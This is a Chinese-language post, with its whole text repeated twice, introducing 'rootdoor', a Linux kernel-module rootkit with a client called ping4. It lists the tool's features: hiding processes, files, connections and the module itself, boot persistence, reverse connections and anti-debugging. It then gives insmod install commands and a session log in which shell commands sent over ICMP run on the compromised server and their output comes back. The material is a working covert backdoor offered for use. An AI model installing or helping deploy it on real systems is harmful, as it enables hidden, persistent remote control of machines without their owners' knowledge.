rootdoor包括服务器端程序和客户端程序,在centos 6.5上面测试通过。
功能:
1、任意端口复用。端口复用,它就是在系统已经开放的端口上进行通讯,并且不影响系统的正常工作和服务的正常运行。
2、隐藏网络连接,端口,文件以及目录。用linux工具无法查看到。
3、隐藏模块,开机启动。
4、反向连接。服务器定时连接指定的ip/port。
5、反调试,防止被跟踪和破解。内容加密传送。
rootdoor.ko设计要点:
1、server程序(rootdoor.ko)在安装时,会隐藏式启动一个后门进程(/home/freeman/hello)。
2、rootdoor在内核空间中尝试向指定的pc机(模块参数指定mac_addr/ip/port)发送探测消息(hello),直到收到回应为止(hello)。
3、pc机给server回送hello消息时,可传送需要执行的脚本比如sh /home/freeman/myspy.sh,这样达到远程执行命令的目的。
4、在收到pc机给出的hello消息后,rootdoor回送hello_ack消息。在hello_ack消息中可送出任何想送出的信息,比如myspy.sh的执行结果或是其它信息。
安装说明:
1.将hello/rootdoor.ko放到server的home/freeman目录下面。
mkdir /home/freeman
cp hello /home/freeman
2.将ping4放到客户机上面,任何一个目录均可。
在server中,如果用的是eth1,那么,安装参数是:
insmod rootdoor.ko dnet=eth1 dmac=00:0c:29:40:99:20 dip=192.168.2.8 //damc/dip是目标机(client pc)的mac和ip,它是虚拟机2
ping4运行方法:
./ping4 192.168.2.8 192.168.2.113 //第一个ip是本机的ip,第二个ip是server的ip。
如果拿不到server的ip,也就是说server只有内网IP,无公网IP。那第二个ip就任意填一个。
测试说明:
在虚拟机1中,用的是eth1,那么,安装参数是:
insmod rootdoor.ko dnet=eth1 dmac=00:0c:29:40:99:20 dip=192.168.2.8 //damc/dip是目标机(client pc)的mac和ip,它是虚拟机2
我在虚拟机2上跑ping4,结果如下:
[root@localhost ping]# ./ping4 192.168.2.9 192.168.2.113Please Enter bash command line[exit to quit]:
ls
cmdline=ls
Sending ICMP(C2S_HELLO)!192.168.2.9---->192.168.2.113
Please Enter bash command line[exit to quit]:
!!!Received S2C_HELLO_ACK!msg[]=
bin
boot
dev
etc
home
lib
lib64
lost+found
media
mnt
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var
ps
cmdline=ps
Sending ICMP(C2S_HELLO)!192.168.2.9---->192.168.2.113
Please Enter bash command line[exit to quit]:
!!!Received S2C_HELLO_ACK!msg[]=
PID TTY TIME CMD
1 ? 00:00:01 init
2 ? 00:00:00 kthreadd
3 ? 00:00:00 migration/0
4 ? 00:00:00 ksoftirqd/0
5 ? 00:00:00 migration/0
6 ? 00:00:00 watchdog/0
7 ? 00:00:01 events/0
8 ? 00:00:00 cgroup
9 ? 00:00:00 khelper
10 ? 00:00:00 netns
11 ? 00:00:00 async/mgr
12 ? 00:00:00 pm
13 ? 00:00:00 sync_supers
14 ? 00:00:00 bdi-default
15 ? 00:00:00 kintegrityd/0
16 ? 00:00:00 kblockd/0
17 ? 00:00:00 kacpid
18 ? 00:00:00 kacpi_notify
19 ? 00:00:00 kacpi_hotplug
20 ? 00:00:00 ata_aux
21 ? 00:00:00 ata_sff/0
22 ? 00:00:00 ksuspend_usbd
23 ? 00:00:00 khubd
24 ? 00:00:00 kseriod
25 ? 00:00:00 md/0
26 ? 00:00:00 md_misc/0
27 ? 00:00:00 linkwatch
28 ? 00:00:00 khungtaskd
29 ? 00:00:00 kswapd0
30 ? 00:00:00
exit
[root@localhost ping]#
查看虚拟机1(server pc)上面的打印:dmesg
rootdoor: C2S_HELLO received!Send S2C_HELLO_ACK!
rootdoor: cmdline=ps
rootdoor: Net_SendIcmp(from:00:0c:29:87:bf:29,1,0x35)
rootdoor: This ICMP package with magic_word:0x5b is being stolen successfully!
rootdoor: C2S_HELLO received!Send S2C_HELLO_ACK!
rootdoor: cmdline=ls
rootdoor: Net_SendIcmp(from:00:0c:29:87:bf:29,1,0x35)
rootdoor: process:hello is killed!pid=3622
rootdoor: unload done.
去掉了一些不必要的打印如cmd_result[]。
功能:
1、任意端口复用。端口复用,它就是在系统已经开放的端口上进行通讯,并且不影响系统的正常工作和服务的正常运行。
2、隐藏网络连接,端口,文件以及目录。用linux工具无法查看到。
3、隐藏模块,开机启动。
4、反向连接。服务器定时连接指定的ip/port。
5、反调试,防止被跟踪和破解。内容加密传送。
rootdoor.ko设计要点:
1、server程序(rootdoor.ko)在安装时,会隐藏式启动一个后门进程(/home/freeman/hello)。
2、rootdoor在内核空间中尝试向指定的pc机(模块参数指定mac_addr/ip/port)发送探测消息(hello),直到收到回应为止(hello)。
3、pc机给server回送hello消息时,可传送需要执行的脚本比如sh /home/freeman/myspy.sh,这样达到远程执行命令的目的。
4、在收到pc机给出的hello消息后,rootdoor回送hello_ack消息。在hello_ack消息中可送出任何想送出的信息,比如myspy.sh的执行结果或是其它信息。
安装说明:
1.将hello/rootdoor.ko放到server的home/freeman目录下面。
mkdir /home/freeman
cp hello /home/freeman
2.将ping4放到客户机上面,任何一个目录均可。
在server中,如果用的是eth1,那么,安装参数是:
insmod rootdoor.ko dnet=eth1 dmac=00:0c:29:40:99:20 dip=192.168.2.8 //damc/dip是目标机(client pc)的mac和ip,它是虚拟机2
ping4运行方法:
./ping4 192.168.2.8 192.168.2.113 //第一个ip是本机的ip,第二个ip是server的ip。
如果拿不到server的ip,也就是说server只有内网IP,无公网IP。那第二个ip就任意填一个。
测试说明:
在虚拟机1中,用的是eth1,那么,安装参数是:
insmod rootdoor.ko dnet=eth1 dmac=00:0c:29:40:99:20 dip=192.168.2.8 //damc/dip是目标机(client pc)的mac和ip,它是虚拟机2
我在虚拟机2上跑ping4,结果如下:
[root@localhost ping]# ./ping4 192.168.2.9 192.168.2.113Please Enter bash command line[exit to quit]:
ls
cmdline=ls
Sending ICMP(C2S_HELLO)!192.168.2.9---->192.168.2.113
Please Enter bash command line[exit to quit]:
!!!Received S2C_HELLO_ACK!msg[]=
bin
boot
dev
etc
home
lib
lib64
lost+found
media
mnt
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var
ps
cmdline=ps
Sending ICMP(C2S_HELLO)!192.168.2.9---->192.168.2.113
Please Enter bash command line[exit to quit]:
!!!Received S2C_HELLO_ACK!msg[]=
PID TTY TIME CMD
1 ? 00:00:01 init
2 ? 00:00:00 kthreadd
3 ? 00:00:00 migration/0
4 ? 00:00:00 ksoftirqd/0
5 ? 00:00:00 migration/0
6 ? 00:00:00 watchdog/0
7 ? 00:00:01 events/0
8 ? 00:00:00 cgroup
9 ? 00:00:00 khelper
10 ? 00:00:00 netns
11 ? 00:00:00 async/mgr
12 ? 00:00:00 pm
13 ? 00:00:00 sync_supers
14 ? 00:00:00 bdi-default
15 ? 00:00:00 kintegrityd/0
16 ? 00:00:00 kblockd/0
17 ? 00:00:00 kacpid
18 ? 00:00:00 kacpi_notify
19 ? 00:00:00 kacpi_hotplug
20 ? 00:00:00 ata_aux
21 ? 00:00:00 ata_sff/0
22 ? 00:00:00 ksuspend_usbd
23 ? 00:00:00 khubd
24 ? 00:00:00 kseriod
25 ? 00:00:00 md/0
26 ? 00:00:00 md_misc/0
27 ? 00:00:00 linkwatch
28 ? 00:00:00 khungtaskd
29 ? 00:00:00 kswapd0
30 ? 00:00:00
exit
[root@localhost ping]#
查看虚拟机1(server pc)上面的打印:dmesg
rootdoor: C2S_HELLO received!Send S2C_HELLO_ACK!
rootdoor: cmdline=ps
rootdoor: Net_SendIcmp(from:00:0c:29:87:bf:29,1,0x35)
rootdoor: This ICMP package with magic_word:0x5b is being stolen successfully!
rootdoor: C2S_HELLO received!Send S2C_HELLO_ACK!
rootdoor: cmdline=ls
rootdoor: Net_SendIcmp(from:00:0c:29:87:bf:29,1,0x35)
rootdoor: process:hello is killed!pid=3622
rootdoor: unload done.
去掉了一些不必要的打印如cmd_result[]。